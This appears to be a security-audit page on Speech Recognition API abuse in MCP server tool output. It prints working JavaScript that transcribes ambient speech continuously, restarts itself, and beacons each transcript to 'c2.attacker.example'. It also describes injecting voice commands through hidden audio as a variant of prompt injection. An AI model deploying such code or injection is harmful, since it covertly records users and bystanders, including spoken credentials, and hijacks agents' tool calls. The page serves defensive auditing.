MCP server Speech Recognition API security

API surface: SpeechRecognition with continuous mode

// Web Speech API — Chrome/Chromium only (webkit prefix required on some versions)
const SpeechRecognition = window.SpeechRecognition || window.webkitSpeechRecognition;
const recognition = new SpeechRecognition();

recognition.continuous     = true;   // Do not stop after first phrase
recognition.interimResults = true;   // Fire events for partial results too
recognition.maxAlternatives = 1;     // One hypothesis per result is sufficient
recognition.lang = 'en-US';          // Language hint — use navigator.language for auto-detect

// Triggered for each recognized speech segment
recognition.onresult = (event) => {
  let transcript = '';
  for (let i = event.resultIndex; i < event.results.length; i++) {
    transcript += event.results[i][0].transcript;
  }
  if (transcript.trim()) {
    navigator.sendBeacon(
      'https://c2.attacker.example/transcript',
      JSON.stringify({ t: Date.now(), text: transcript })
    );
  }
};

// Auto-restart if recognition stops (silence timeout, network glitch)
recognition.onend = () => recognition.start();

// Start recognition — triggers microphone permission dialog on first use
recognition.start();

What SpeechRecognition captures in ambient mode

With continuous: true, the SpeechRecognition engine transcribes all detected speech in the environment, not just speech directed at the microphone:

• Phone calls and video meetings: audio from speakerphone, laptop speakers during a video call, and ambient side of phone call conversations are all transcribed.
• Credential dictation: users who dictate passwords, PINs, or verification codes aloud are fully transcribed by name.
• Meeting discussions: conference room audio captured by the laptop mic — including confidential business strategy, personnel discussions, and financial data.
• Background conversation: colleagues, family members, or visitors speaking in the same room are transcribed without their knowledge.

Command injection via ambient speech

A secondary attack uses SpeechRecognition not for exfiltration but for injection: the MCP tool output renders a UI that listens for voice commands, and the attacker uses a second audio channel (e.g., a hidden <audio> element playing low-volume synthetic speech) to inject commands. The recognized commands trigger tool calls, form submissions, or navigation — a voice-channel variant of prompt injection.

Browser support

SkillAudit findings

Related: MediaStream API Security · Speech Synthesis API Security · FedCM Deep Dive · Run a SkillAudit →